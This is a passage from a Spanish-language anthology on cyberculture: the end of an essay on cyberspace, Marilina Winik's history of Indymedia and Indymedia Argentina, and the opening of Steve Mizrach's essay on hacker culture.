estado	 de	 ánimo	 o	 su	 situación	 particular:	 es	 la	 masa,	 la	 audiencia,	 el	 público,
también	 la	 «peña».	Aunque	parezca	 increíble,	 en	 cierto	 sentido	 el	 ciberespacio	nos
retrotrae	a	la	situación	comunicativa	que	había	antes	de	la	escritura	—a	otra	escala,
obviamente—	en	la	medida	que	la	interconexión	y	el	dinamismo	en	tiempo	real	de	las
memorias	 en	 línea	 hace	 que	 nuevamente	 se	 comparta	 un	 contexto	 comunicativo
común,	imperfecto,	inacabado	pero	en	evolución	constante,	lleno	de	vida	que	incluye
a	las	personas	y	donde	nada	hay	ya	extemporáneo	o	«fuera	de	contexto».

La	 extensión	 del	 ciberespacio	 ha	 hecho	 saltar	 muchos	 dogmas	 acerca	 de	 la
organización	de	 los	grupos	humanos,	y	ha	dado	pie	a	que	se	establezcan	relaciones
entre	 los	 individuos	 y	 los	 colectivos	 radicalmente	 nuevas,	 sin	 precedentes	 en	 la
historia	 ni	 en	 la	 biología.	 El	 ciberespacio	 no	 es	 otra	 cosa	 que	 el	 soporte	 técnico
indispensable	 para	 dar	 pie	 a	 la	 inteligencia	colectiva.	 El	movimiento	 social	 que	 se
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desarrolla	en	el	ciberespacio	—las	comunidades	virtuales—,	cada	vez	más	masivo	y
potente,	 prefigura	 y	 actualiza	 muchas	 de	 las	 cosas	 de	 las	 que	 teorizamos	 en	 los
ámbitos	 antagonistas	 como	 un	 ideario	 de	 futuro.	 La	 activación	 de	 modos	 de
cooperación	flexibles,	transversales	y	no	mercantiles	y	la	distribución	coordinada	de
los	 centros	 de	 decisión	 están	 creando	 formas	 comunitarias,	 emancipadoras,
socializadoras	 y	 horizontales.	 En	 efecto,	 el	movimiento	 social	 que	 se	mueve	 en	 el
ciberespacio	 carece	 de	 programa	 político,	 pero	 la	 autonomía,	 la	 apertura	 a	 la
diferencia,	el	espacio	sin	fronteras	(la	universalidad)	y	 la	 libre	circulación	del	saber
—la	 oposición	 radical	 al	 copyright	 y	 a	 la	 propiedad	 intelectual—	 son	 sus	 valores
constituyentes.	Sin	centros	ni	líneas	directrices,	sin	contenido	particular,	acepta	todos
los	 contenidos	 ya	 que	 se	 limita	 a	 poner	 en	 contacto	 —comunicar—	 un	 punto
cualquiera	con	otro,	sea	cual	sea	la	carga	semántica	o	política	de	cada	uno	de	ellos.	Y
sería	 trágico	caer	en	el	error	de	creer	que	no	hay	que	preocuparse	demasiado	de	 lo
que	sucede	en	el	ciberespacio,	porque	es	virtual	y	no	tiene	consecuencias	en	el	mundo
«real»:	está	transformando	ya,	y	lo	va	a	hacer	mucho	más	en	el	futuro	inmediato,	las
condiciones	materiales	y	subjetivas	de	vida	en	sociedad.

Queda	para	otra	ocasión	reevaluar	desde	una	perspectiva	antagonista	algunas	de
las	implicaciones	políticas	del	volcado	de	los	medios	de	comunicación	tradicionales
—el	 teléfono,	 la	 televisión,	 la	 radio,	 el	 fax,	 los	 periódicos,	 los	 libros…—	 en	 el
ciberespacio.	 Aunque	 conviene	 aclarar	 que	 no	 creo	 que	 resulte	 posible	 prever	 las
mutaciones	 con	 que	 la	 digitalización	 —y	 por	 tanto	 la	 posibilidad	 de	 tratamiento
numérico	 con	 ordenadores—	modificará	 nuestras	 formas	 de	 comunicarnos	 después
del	 año	2000,	 sí	 que	 se	 hace	necesario	 anticiparse	 de	 alguna	manera	 a	 sus	 efectos,
indagar	en	esos	usos	antes	de	que	sean	definitivamente	recuperados	por	el	mando.
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Nuevos	medios	para	hacer	medios:	el	caso	Indymedia

Marilina	Winik

arilina	Winik	 estudia	 sociología	 en	 la	Universidad	 de	Buenos	Aires	 y	 es	miembro	 de
Indymedia	Argentina	desde	febrero	de	2002.

El	 texto	 que	 presentamos	 fue	 hecho	 público	 como	 ponencia	 en	 el	 marco	 del	 II	 Congreso
Nacional	 de	 Sociología	 y	 VI	 Jornadas	 de	 Sociología	 de	 la	 UBA,	 en	 la	 mesa	 «Tecnología	 y
Sociedad».

Indymedia	es	la	red	de	comunicación	antagónica	más	desarrollada	a	nivel	global.
Emergente	de	una	nueva	realidad	histórica,	social	y	económica,	es	el	resultado	de	una
manera	 novedosa	 para	 la	 articulación	 entre	 activistas	 de	 múltiples	 movimientos
sociales	y	nuevas	tecnologías.	Políticamente,	esta	articulación	implica	la	apropiación
del	 espacio	 que	 posibilitó	 la	 expansión	 capitalista,	 para	 la	 lucha	 contra	 ese	mismo
sistema	de	prácticas	y	discursos.	Desde	el	punto	de	vista	histórico,	es	en	la	cumbre	de
la	OMC	 en	 Seattle	 de	 1999	 (en	 su	 fracaso)	 donde	 Indymedia	 deja	 de	 ser	 un	mero
centro	de	contrainformación	para	comenzar	un	proceso	de	crecimiento	tal	que	hoy	la
convierte	 en	 la	 red	 de	 redes	 más	 grande	 del	 mundo.	 Esto	 es	 así	 porque	 pudo
capitalizar	la	heterogeneidad	sin	desvirtuarla.

Dentro	 de	 este	 contexto,	 Indymedia	 Argentina	 surgió	 a	 partir	 de	 las
movilizaciones	 contra	 el	 ALCA	 en	 abril	 de	 2001.	 Compartiendo	 los	 principios	 de
unidad	de	la	red	global,	la	realidad	latinoamericana	le	imprime	una	impronta	distinta.
No	sólo	crea	redes	y	nodos	de	red,	sino	que	sus	discursos	y	prácticas	se	vinculan	muy
estrechamente	 con	 la	 multiplicidad	 de	 los	 movimientos	 sociales	 argentinos:	 es
vehículo	de	difusión	pero	también	herramienta	de	articulación.

1)	Contexto	de	surgimiento:	los	‘90	y	el	movimiento
antiglobalizacion

La	cumbre	de	la	Organización	Mundial	de	Comercio	(OMC)	que	se	celebraría	en
Seattle	 (EE.	UU.),	había	sido	preparada	minuciosamente	por	 los	principales	centros
de	poder	político	(los	Estados	Unidos,	la	Unión	Europea,	Japón	y	Canadá)	en	íntima
relación	con	el	poder	económico-financiero	transnacional.	Pero	la	cumbre	fracasó:	los
hombres	 representantes	 de	 las	 elites	 más	 poderosas	 del	 mundo	 nunca	 llegaron	 a
reunirse.	En	paralelo	a	los	preparativos	de	la	OMC,	diferentes	redes	y	grupos	de	todo
el	mundo	 (llamados	 antiglobalización)	 articularon	 diversas	 acciones	 de	 protesta.	El
30	de	noviembre	de	1999	se	convirtió	en	el	símbolo	de	su	primera	victoria.

Más	de	50	000	personas	se	movilizaron	hasta	Seattle,	más	de	1500	organizaciones
a	 escala	 planetaria	 ayudaron	 a	 fomentar	 la	 organización,	 hubo	 protestas	 en	 70
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ciudades	de	30	países	del	norte	y	del	sur,	del	este	y	del	oeste.	Una	multiplicidad	de
subjetividades	se	articuló	en	un	acontecimiento	que	impugnaba	nodalmente	al	capital
en	la	voz:	«el	mundo	no	es	una	mercancía».

¿Cuál	 fue	 la	 condición	 de	 posibilidad	 de	 esta	 extraña	 convergencia?	 ¿Cómo
explicar	que	fuera	políticamente	efectiva?	La	respuesta	gira	alrededor	de	un	modelo
de	 articulación	 hasta	 entonces	 desconocido:	 las	 acciones	 de	 protesta	 se	 habían
estructurado	alrededor	de	un	medio	rápido	y	económico,	Internet.

El	Movimiento	de	Resistencia	Global	o	Antiglobalización	—así	lo	denominaron
los	medios	masivos—	comenzó	como	una	corriente	de	protesta	mundial	que	aunaba	a
decenas	de	grupos	de	diferentes	países	que	tenían	en	común	su	rechazo	al	capitalismo
y	 al	modelo	neoliberal.	Un	movimiento	 en	 el	 que	 se	 dieron	 (y	dan)	 cita	 colectivos
diferentes:	 sindicatos,	 intelectuales	de	 izquierda,	 ecologistas,	 indigenistas,	 activistas
de	género	y	grupos	desfavorecidos	que	acusaban	(y	acusan)	al	sistema	económico	de
amoral	e	injusto.

2)	Breve	historia	de	Indymedia

Indymedia	 nace	 como	 un	 proyecto	 situacional,	 para	 organizar	 la
contrainformación	 durante	 la	 cumbre	 de	 OMC.	 Indymedia	 (como	 la	 pata
comunicacional	 del	movimiento	 antiglobalización)	 pudo	 capitalizar	 la	 unión	 de	 un
amplio	 sector	 de	 colectivos	 y	 redes	 preexistentes	 en	 el	marco	 de	 un	 entramado	 de
comunicación	alternativa	y	antagónica.	El	sitio	(originalmente	pensado	para	empezar
y	terminar	en	la	cumbre)	recibió	más	de	un	millón	y	medio	de	visitas	y	esto	provocó
la	 necesidad	 de	 conformar	 una	 red	 de	 comunicación	 antiglobalización	 que	 se
multiplicó	en	más	de	150	sitios	a	lo	largo	de	todo	el	mundo.

2.1)	El	activismo	internacional	en	los	‘80	y	‘90

Durante	los	años	‘80	y	‘90	se	organizaron	innumerables	experiencias	de	éxodo	y
de	construcción	de	«mundos	autónomos»:	los	centros	sociales	italianos,	la	netculture
del	norte	de	Europa,	el	zapatismo	en	Chiapas,	la	cultura	hip	hop,	las	comunidades	de
sem	 terra	 brasileñas,	 las	 experiencias	 psicotrópicas	 individuales	 y	 colectivas,	 las
editoriales	underground,	las	revistas	militantes,	las	radios	libres.

Todo	ello	permitió	a	 la	 inteligencia	autónoma	reproducirse	y	resistir	durante	 los
últimos	veinte	años,	pensando	en	diferentes	maneras	de	resistencia,	creando	nuevas
formas	 de	 organización	 radical	 que	 no	 respondiesen	 a	 modelos	 quebrados	 por	 la
historia	más	reciente,	siendo	lo	menos	funcionales	al	sistema.

Pero	 por	 sobre	 todas	 las	 realidades	 regionales	 o	 de	 afinidad,	 los	 medios	 de
contrainformación	 fueron	 la	 respuesta	 a	 las	 necesidades	 concretas	 de	 colectivos	 y
movimientos	 sociales,	 para	 los	 cuales	 era	 imprescindible	 dar	 a	 conocer	 sus
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experiencias	para	continuar	siendo	colectivos	o	movimientos.	Es	decir,	dar	visibilidad
y	 enunciabilidad	 a	 todo	 aquello	 que	 los	 mass	 media	 distorsionaban,	 ocultaban,
manipulaban	 o	 simplemente	 ignoraban.	 La	 tarea	 entonces	 de	 estos	 medios	 fue	 (y
sigue	siendo)	romper	el	cerco	de	la	información	recortada,	ideologizada	y	pasiva.

2.2)	Indymedia	Global:	registros	y	códigos	de	diferencia	e	igualdad

Desde	 su	 momento	 fundacional	 en	 1999,	 la	 posibilidad	 de	 hacer	 medios	 se
convirtió	 en	 equivalente	 a	 hacer	 sociedad	 para	 el	 activismo	 global.	 Era	 imposible
seguir	 pensando	 en	 el	 activismo	 político	 sin	 crear	 medios,	 o	 mejor	 dicho,	 sin
desarrollar	una	red	en	la	que	confluyan	estos	nuevos	medios.	Indymedia	o	Centro	de
Medios	 Independientes	 (CMI)	 fue	 entonces	un	punto	de	 convergencia	para	quienes
decidieron	 construir	 una	 red	 desde	 la	 diversidad	 de	movimientos:	 comunidades	 de
video	 activistas,	 pequeñas	 radios	 piratas,	 hackers,	 desarrolladores	 de	 códigos,
productores	de	fanzines,	periodistas,	etc.

La	heterogeneidad	implica	complejidad.	En	Indymedia	coexistían	colectivos	con
largas	 tradiciones	 de	 lucha,	 con	 experiencias	 autónomas	 y	 muchas	 veces
fragmentadas.	 Pero	 había	 un	 punto	 de	 coincidencia	 que	 continúa	 explicando	 su
duración	 en	 el	 tiempo:	 el	 mediactivismo,	 simplificado	 a	 su	 vez	 como	 fenómeno
mediático,	irrumpe	con	la	coyuntura	Internet-Seattle.	Convergencia	de	la	información
autorganizada	 en	 red	 y	 florecimiento	 de	 la	 red	 global.[80]	 Según	 el	 italiano	 Franco
«Bifo»	 Berardi,	 el	 activismo	 mediático,	 además,	 constituye	 una	 esfera	 pública
autónoma,	un	espacio	de	sustracción	al	de	la	invasión	mediática.[81]

2.3)	Los	Principios	de	Unidad	(la	diferencia	y	la	igualdad)

Construye	tus	medios	es	una	de	las	consignas	de	Indymedia	global.	Y	desde	allí
se	 explica	 que	 la	 red	 sea	 hoy	 una	 de	 las	mayores	 comunidades	 anticapitalistas	 del
mundo.	Es	así	porque,	desde	sus	principios,	surge	no	sólo	la	posibilidad	de	informar
(contra-informar)	rompiendo	la	tradicional	lógica	emisor/receptor	(en	tanto	no	existe
una	autoridad	que	determine	quién	publica	ni	quién	lee	y,	además,	sus	formatos	son
múltiples),	sino	que	también	de	esta	manera	alienta	a	la	participación	de	todos.

La	 organización	 interna	 de	 los	 distintos	 colectivos	 y	 de	 la	 propia	 red	 global	 es
horizontal:	 las	 decisiones	 se	 toman	 por	 consenso	 y	 en	 lugar	 de	 verticalidad,	 las
responsabilidades	se	distribuyen	según	las	tareas	que	cada	activista	decide	realizar.

Políticamente,	 Indymedia	 se	 reconoce	 anticapitalista	 y	 antipatriarcal.	 En
Indymedia	todo	trabajo	realizado	es	voluntario	y	militante.

Frente	 a	 la	 unidireccionalidad	 de	 los	 medios	 masivos	 —concentrados	 en
oligopolios,	hábiles	tergiversadores	de	los	hechos	y	naturalizadores	por	antonomasia
de	 la	 explotación—,	 Indymedia	 se	 propone	 como	herramienta	 de	 participación	 que
hagan	del	receptor,	no	un	espectador	pasivo,	sino	un	multiplicador	de	conciencia	y	de
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visiones	 de	 la	 realidad	 que	 cuestionen	 de	 raíz	 el	 sistema	 vigente.	 Por	 eso	 no	 se
entiende	 a	 la	 información	 como	mercancía	 sino	 como	 una	manera	 de	 articular	 la
lucha.

3)	Indymedia	Argentina

La	experiencia	Indymedia	en	Argentina	no	tiene	antecedentes.	La	posibilidad	de
democratizar	radicalmente	un	medio	de	comunicación	y	ponerlo	al	alcance	de	todos,
trabajando	 desde	 la	 consigna	 «cada	 persona	 es	 un	 corresponsal»	 fue,	 sin	 duda,	 el
inicio	de	una	nueva	era	en	términos	de	comunicación,	 información	y	posibilidad	de
cambio	que	ofrecía	la	tecnología.

3.1)	La	paradoja	en	la	propia	génesis

Sin	la	trayectoria	europea	de	la	net	culture	y	sin	el	movimiento	antiglobalización,
Indymedia	Argentina	 no	 hubiese	 existido.	Desde	 sus	 inicios	 en	 abril	 de	 2001,	 este
colectivo	se	propuso	construir	una	comunicación	amplia,	democrática,	de	base.	O,	en
otras	palabras,	aportar	a	la	lucha	de	miles	y	miles	por	forjar	una	nueva	cultura,	tanto
política	como	comunicacional.

Pero,	en	su	misma	génesis	se	produjo	una	paradoja:	las	condiciones	de	posibilidad
de	 Indymedia	Argentina	 (el	 contexto	 internacional	 anglo-europeo)	 nada	 tenían	 que
ver	con	las	realidades	 locales.	Los	actores	sociales	y	políticos,	así	como	los	efectos
del	 capitalismo	 son	 diferentes.	 Las	 estrategias	 de	 lucha	 definen	 sus	 prioridades	 de
acuerdo	 a	 los	 conflictos.	Y	 aquí	 los	 conflictos	 son	 otros.	Obviamente,	 «el	 capital»
suele	ser	la	voz	bajo	la	cual	la	lucha	se	define,	por	lo	menos	en	niveles	teóricos.	Pero
de	cara	a	las	realidades	de	los	barrios	del	conurbano,	la	lucha	ecologista,	el	copyleft	y
el	software	libre	hacían	ruido	en	el	cuerpo	de	los	activistas	argentinos.

Paradoja	entre	medios	disponibles	y	 registros	discursivos	 (es	decir,	de	prácticas
sobre	—y	en—	las	cuales	el	registro	discursivo	se	construye).	Activistas	ecologistas
con	 laptop,	 activistas	 piqueteros	 en	 el	 puente	 Pueyrredón…	¿qué	 decían	 y	 quiénes
eran	los	que	armaban	la	página	web?	¿Paradoja	posmoderna	o	simple	paradoja	de	la
lucha	de	la	clase	media	en	los	países	pobres?

Paradoja	que	no	se	produjo	en	el	nivel	teórico	sino	en	la	práctica	política.	Y	por
esta	razón,	los	que	armaban	la	página	argentina	entendieron	que	el	escenario	de	esta
última	sería	el	lugar	de	las	respuestas.

4)	La	práctica	desde	el	19	y	el	20	de	2001:	primera	respuesta	a	la
paradoja
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El	nacimiento	de	 Indymedia	Argentina	 representa	un	quiebre	muy	 fuerte	de	 las
interpretaciones	primermundistas,	por	la	falta	de	historia	local	en	materia	de	usos	de
las	 tecnologías	 para	 el	 cambio.	 Y	 justamente	 por	 esta	 razón,	 se	 resignifica	 en	 el
contexto	latinoamericano	a	partir	del	19	y	20	de	diciembre	de	2001.

La	realidad	y	la	manera	de	abordarla,	hizo	que	desde	sus	primeros	años	de	vida
pueda	 ser	 un	 lugar	 de	 referencialidad	 muy	 concreta	 para	 nuevos	 actores
sociopolíticos.	Nuevos	en	 la	Argentina	y	diferentes	de	 los	que	dan	sus	 luchas	en	el
contexto	anglo-europeo.

Hoy	Indymedia	se	piensa	más	que	nada	como	«una	red	de	acción»	que	contiene	el
mismo	 principio:	 acrecentar	 la	 participación	 e	 involucrar	 cada	 vez	 más	 grupos	 y
colectivos	 en	 una	 multiplicidad	 de	 espacios	 que	 se	 continúan	 abriendo
constantemente.	Todos	estos	escenarios	tienen	la	común	inquietud	por	experimentar	y
aportar	a	diferentes	proyectos	(que	a	su	vez	se	multiplican).

4.1)	Los	primeros	modos	de	trabajo:	«patear	la	calle»

La	 tarea	 que	 se	 había	 propuesto	 el	 colectivo	 Indymedia	 Argentina	 fue,	 en	 un
primer	momento,	la	realización	de	«las	coberturas»:	salir	a	las	calles	y	relatar	desde
una	 perspectiva	 radical	 cuáles	 eran	 las	 necesidades	 de	 las	 organizaciones	 en	 dar	 a
conocer	 sus	 conflictos,	 no	 reflejadas	por	 la	voz	de	 los	grandes	medios	 (que	 juegan
siempre	 de	 aliados	 con	 el	 poder	 de	 turno).	 Hacer	 coberturas	 implicaba	 tejer	 redes
entre	 este	 nuevo	 actor	 que	 se	 proponía	 intervenir	 sobre	 la	 realidad	 social,	 el
mediactivista,	 y	 los	 diferentes	 movimientos	 sociales.	 Esto	 tuvo	 un	 impacto	 muy
grande	en	 las	distintas	organizaciones	y	movimientos	ya	que	 los	mediactivistas	que
estaban	 en	 las	 calles	 todos	 los	 días	 y	 cubrían	 las	 diferentes	 manifestaciones
comenzaron	 a	 tejer	 esas	 redes	 con	 los	 distintos	 referentes	 y	 con	 las	 bases	 de	 las
organizaciones	 que	 luego,	 eran	 los	 que	 daban	 credibilidad	 a	 las	 publicaciones	 del
sitio.	El	estar	en	la	calle	constantemente,	dio	a	Indymedia	Argentina	la	posibilidad	de
hacerse	 conocidos	 y	 requeridos	 por	 los	movimientos	 sociales.	 «Estos	 sectores	 que
participan	 en	 las	 luchas	 sociales	 rápidamente	 adquieren	 una	 postura	 crítica	 sobre
los	 medios	 de	 comunicación,	 especialmente	 sobre	 el	 televisivo,	 que	 evita
rotundamente	mostrar	sus	acciones,	sus	movilizaciones	y	sus	propuestas.	Así	queda
en	evidencia	para	un	sector	de	 la	sociedad	la	dictadura	mediática	en	 la	cual	están
inmersos»[82].

5)	La	práctica	durante	la	masacre	en	el	Puente	Pueyrredón:	segunda
respuesta	a	la	paradoja

Durante	 2002	 el	 «dar	 voz	 a	 los	 que	 no	 tienen	 voz»	 se	 transforma	 junto	 con	 el
escenario	 político	 argentino.	 La	 difusión	 de	 los	 conflictos	 entre	 las	 organizaciones
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piqueteras	y	el	estado	se	constituye	en	otra	experiencia	que	reorienta	las	prácticas.
Relata	Tomás,	un	compañero	de	Indymedia,	sobre	 lo	ocurrido	el	26	de	 junio	de

2002:	 «Cuando	 asesinaron	 a	 los	 compañeros	Dario	 Santillán	 del	MTD	de	Lanús	 y
Maximiliano	Kosteki	del	MTD	Guernica	en	Avellaneda,	el	26	de	junio	de	2002,	los
medios	 frente	 a	 la	 brutal	 represión	 —hasta	 que	 la	 evidencia	 y	 la	 movilización
señalaron	lo	contrario—	hablaron	de	“enfrentamientos”.	Prefirieron	mostrar	los	palos,
las	gomeras	y	las	capuchas	de	los	piqueteros,	 justificando	el	dispositivo	represivo	y
evitando	hablar	de	las	balas	de	plomo	que	el	gobierno	de	Duhalde	y	de	Felipe	Solá	y
el	FMI	ordenaron	que	se	disparen	para	acabar	con	la	protesta	social».

Indymedia	 actuó	 no	 solo	 como	 testigo	 directo	 sino	 que,	 desde	 el	 sitio,	 en	 la
portada	denunciaba	«Asesinos»	a	los	que	provocaron	la	masacre.

A	un	mes	de	lo	ocurrido	y	como	primer	regreso	al	Puente	Pueyrredón,	Indymedia
video	 realizó	 el	 video	 documental	 «Piquete	 Puente	 Pueyrredón».	 Fue	 visto	 por
muchísimas	 personas	 que	 formaban	 parte	 de	 los	 distintos	movimientos,	 y	 en	 él	 se
podía	conocer	cuáles	habían	sido	los	hechos	(mostrados	ahora	desde	una	perspectiva
militante	—«imágenes	desde	el	otro	lado	de	la	barricada»).	Se	denunciaban,	también,
las	 estrategias	 inconsistentes	 de	 los	 grandes	 medios	 aliados	 al	 poder	 político	 que
buscaban,	por	sobre	todo,	crear	«opinión	pública»	en	torno	a	una	idea	de	piqueteros
violentos	y	criminales.

En	esa	misma	jornada	 también	se	confeccionó	una	muestra	de	fotos	que	 incluía
fotos	de	Dario	Santillán.	«La	gente	del	movimiento	 se	asombraba	y	 tocaba	 la	 foto,
una	 larga	 cola	 se	 formaba	 para	 verla	 y	 no	 faltaron	 lágrimas	 y	 los	 rezos	 sobre	 la
imagen.	 Un	 fenómeno	 opuesto	 al	 de	 las	 últimas	 semanas	 donde	 Darío	 había	 sido
retratado	por	los	grandes	medios	como	un	violento	que	había	atacado	a	la	policía,	o	lo
mostraban	 desangrándose,	 como	 parte	 de	 una	 campaña	 de	 criminalización	 de	 la
protesta	sobre	los	movimientos	populares»[83].

Luego,	eran	las	mismas	organizaciones	las	que	llamaban	a	compañeros	para	pedir
la	presencia	de	Indymedia	en	diferentes	acciones,	como	tomas	de	terrenos,	cortes	de
ruta,	 o	 tan	 solo	 para	 invitarlos	 a	 los	 barrios	 y	 proyectar	 videos,	 armar	muestras	 de
fotos,	 talleres	 de	 prensa	 o	 audiovisuales,	 como	 ocurrió	 durante	 el	 2003.	 Ese	 año
concluyó	con	el	armado	de	tres	foto-montajes	realizados	en	colaboración	entre	gente
de	los	barrios	e	Indymedia,	los	cuales	fueron	exhibidos	para	el	primer	aniversario	del
asesinato	de	Darío	Santillán	y	Maximiliano	Kosteki	en	el	Puente	Pueyrredón.

5.1)	Redefiniciones	de	los	modos	de	trabajo:	«intervenir	más»

Indymedia	 Argentina	 no	 se	 quedó	 solamente	 con	 el	 formato	 Internet.	 Es	 bien
sabido	que	en	esta	parte	del	hemisferio	muy	pocas	son	las	posibilidades	de	acceder	y
manejar	 la	 herramienta	 Internet.	 «En	 la	 Argentina	 el	 promedio	 de	 población	 con
acceso	a	Internet	(en	forma	muy	limitada)	es	de	3	millones	de	personas,	en	un	país
con	 una	 población	 de	 37	 millones.	 Es	 evidente	 que	 el	 acceso	 a	 este	 medio	 no	 es
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masivo»[84].	Durante	los	tres	años	se	trabajó	muy	fuertemente	para	sacar	Indymedia
de	Internet,	aunque	claramente	el	sitio	continuó	siendo	un	elemento	fundamental	de
comunicación.

Indymedia	 se	piensa	a	 sí	misma	como	usina	y	 laboratorio	de	comunicación.	La
dinámica	 y	 los	 usos	 de	 las	 nuevas	 tecnologías	 de	 comunicación,	 sobre	 todo	 de
Internet,	 hicieron	 que	 las	 discusiones	 de	 Indymedia	 Argentina	 pasaran	 por	 pensar
cuál	debía	 ser	 la	utilidad	de	un	medio	basado	en	 Internet.	En	Argentina	 los	 límites
son	 claros.	 Surgió	 entonces	 la	 necesidad	 de	 plantear	 que,	 para	 que	 Indymedia
Argentina	lograra	una	real	 inserción	en	los	sectores	populares,	se	debía	 trabajar	por
fuera	de	la	página:	organizando,	por	ejemplo,	muestras	de	videos	y	fotos	itinerantes,
proyecciones	en	los	barrios	y	en	centros	sociales	y	culturales,	talleres	de	Internet,	de
periodismo	y	de	educación	popular.	Para	este	colectivo	siempre	fue	importante	crear
y	 profundizar	 los	 lazos	 con	 las	 bases,	 porque	 de	 lo	 contrario,	 correría	 el	 riesgo	 de
formar	parte	de	aquello	que	denunciaba.

6)	Redefiniciones	sobre	fin	de	2004:	las	redes

La	 red,	 según	 la	 conciben	 y	 la	 practican	 en	Europa	 y	Estados	Unidos	—países
centrales	que	comenzaron	a	utilizarla—,	 surge	como	 respuesta	de	una	organización
fundada	 por	 grupos	 y	 colectivos	 que	 visualizaron	 la	 importancia	 de	 los	 medios
alternativos	y,	 correlativamente/paralelamente,	 del	 rol	 central	 de	 la	 oligarquía	 de	 la
información/entretenimiento	 en	 el	 capitalismo	 global.	 En	 forma	 lúcida,	 el
movimiento	 antiglobalización,	 dice	 Dee	 Dee	 Halleck,	 considera	 a	 los	 medios
corporativos	como	parte	integrante	del	problema.	Para	estos	activistas	—continúa—,
crear	 nuevos	 modos	 de	 comunicación	 es	 parte	 imprescindible	 de	 la	 respuesta	 al
neoliberalismo.

La	 red	 funciona	 según	 un	 modelo	 de	 tipo	 rizomático,	 es	 decir	 que	 se	 van
desarrollando	 en	 diferentes	 lugares	 del	 globo	 nodos	 de	 iguales	 características:	 no
jerárquicos,	descentralizados	y	autónomos.	Este	modelo	responde	a	las	exigencias	de
autoorganización	del	trabajo	virtual	según	un	proceso	igualitario	y	difusivo.[85]

La	utopía	de	la	red	de	Félix	Guattari,	filósofo	francés	que	se	dedicó	en	su	vejez	a
pensar	 las	 redes,	 ya	 advertía	 en	 los	 años	 ‘80	 que	 los	 progresos	 en	 la	 informática
tenderían	 a	 redes	 rizomáticas,	 relaciones	 bidireccionales	 y	multidireccionales	 entre
colectivos	 de	 enunciación	 postmediática,	 que	 infectarían	 el	 sistema	 televisivo
centralizado	y	sacudirían	y	desestructurarían	todas	las	formas	de	tipo	estatal	y	de	tipo
económico.

Según	Bifo,	esta	utopía	se	encarnó	en	la	tecnología,	en	la	cultura,	e	incluso	en	la
empresa.	En	el	transcurso	de	los	‘90	se	desarrolló	el	rizoma,	pero	fue	infiltrado	por	el
virus	de	tipo	centralizado,	jerarquizador.	El	uso	de	la	publicidad,	del	business,	de	la
televisión	en	 la	 red	 fueron	aspectos	de	esta	 infiltración.	Las	 redes	existen	y	están	a
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disposición	 no	 sólo	 de	 aquéllos	 que	 creen	 en	 que	 esta	 forma	 de	 organización
posibilita	 la	 democratización	 radical,	 la	 descentralización	 de	 la	 información,	 la
eliminación	 de	 las	 jerarquías	 y	 la	 posibilidad	 de	 una	 nueva	 forma	 de	 organización
global	 que	 luche	 para	 el	 cambio	 social,	 sino	 que	 también	 el	 enemigo	 es	 usuario	 y
propagador	 de	 redes	 que	 alimentan	 el	 sistema.	 Bifo	 entonces	 lo	 plantea	 como	 una
guerra	entre	dos	paradigmas:	«es	la	guerra	entre	el	dominio	y	la	libertad	(…)	en	este
sentido	la	utopía	de	Guattari	parece	cada	día	desmentida	y	reafirmada	por	la	perpetua
dinámica	del	dominio	y	la	libertad»[86].

En	 Latinoamérica	 las	 redes	 que	 se	 construyen	 son	 bien	 difusas.	 Hablar	 del
concepto	 de	 red,	 en	 el	 sentido	 que	 se	 propone	 el	 concepto	 de	 red	 primermundista,
todavía	es	abordar	la	problemática	casi	a	tientas.	La	participación	en	la	red	de	redes
de	 Indymedia	 global,	 fue	 y	 sigue	 siendo	 un	 aprendizaje	 cotidiano.	 Indymedia
Argentina	fue	el	nombre	del	colectivo	Buenos	Aires	durante	más	de	2	años,	el	cual
editorializaba	 y	 pretendía	 reflejar	 una	 realidad	 acabada	 del	 «país».	 Luego	 de	 la
aparición	 de	 Rosario	 en	 julio	 de	 2002,	 de	 la	 emergencia	 de	 temáticas	 específicas
como	es	el	caso	de	la	de	Pueblos	Originarios	en	agosto	de	2002	y,	ya	para	mediados
de	 2003,	 con	 la	 aparición	 de	 gente	 interesada	 en	 armar	 Indymedia	 en	Santiago	 del
Estero	 y	 La	 Plata	 (que	 nace	 recién	 en	 enero	 de	 2004	 luego	 de	 hacer	 un	 proceso),
Indymedia	Buenos	Aires	cede	el	lugar	de	página	central	y	se	convierte	en	una	sección
territorial	de	la	lista	de	secciones.

A	partir	de	entonces	hay	una	idea	que	recorre	a	todos	los	colectivos	que	empiezan
a	formar	parte	de	lo	que	se	denomina	«red	Argentina»	en	darle	lugar	a	los	diferentes
colectivos,	grupos,	individuos	de	realizar	tareas	específicas.

Un	ejemplo	es	el	recién	surgido	colectivo	de	Medio	Ambiente.	Éste,	se	concreta
con	el	llamado	a	grupos,	colectivos	e	individuos	interesados	en	la	editorialización	de
la	sección.	Entonces	se	suman	a	la	red	no	sólo	individuos	interesados	en	el	proyecto
de	contrainformación,	 sino	 también	colectivos	que	 trabajan	 la	 temática	específica	y
que	no	encuentran	por	ninguna	otra	vía	 la	posibilidad	que	les	brinda	la	herramienta
Indymedia	para	la	difusión	de	la	misma.

El	ejemplo	es	fractal,	ya	que	es	posible	que	este	colectivo	comience	a	publicar	y
encuentre	otros	semejantes	que	hacen	lo	mismo	dentro	del	país,	luego	de	la	región	y
luego	 a	 nivel	 global;	 y	 que	 formen	 parte	 de	 otras	 organizaciones	 que	 están	 en
constante	 movimiento	 y	 que	 necesiten	 a	 la	 comunicación	 alternativa	 como	 medio
para	 difundir	 y	 enriquecer	 el	 espectro	 de	 temático.	 Lo	 mismo	 vale	 para	 Pueblos
Originarios,	Género,	Contracultura	o	Video.

Indymedia	en	Argentina	está	tendiendo,	cada	vez	más,	a	convertirse	realmente	en
una	herramienta	utilizada	por	miles	de	personas,	que	cada	día	encuentran	en	el	sitio
un	 lugar	con	 información	que	permite	dar	a	conocer	 las	 luchas	cotidianas	cada	vez
más	localmente	y	con	emisores	cada	vez	más	locales.
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S

Viejos	Hackers,	Nuevos	Hackers:
¿son	distintos?[87]

Steve	Mizrach	(seeker1)

teve	 Mizraches	 antropólogo.	 Investiga	 y	 enseña	 en	 la	 Universidad	 de	 Florida,	 EE.	 UU.
Escribe	sobre	temas	como	«cibercultura»	y	«frontera	electrónica»	(junto	a	otros	tan	inciertos

como	el	«fenómeno	ovni»).
Este	 artículo	 es	 una	 mirada	 retrospectiva	 de	 la	 «cultura	 hacker»,	 descripta	 a	 partir	 de	 los

nuevos	estilos	de	hackers	que	aparecieron	en	los	‘80.

Aparentemente,	para	la	gente	enamorada	de	la	«vieja	escuela»	de	hackers,	como
Steven	Levy	o	Clifford	Stoll,	hay	una	gran	diferencia.	De	hecho,	no	les	perdonan	a
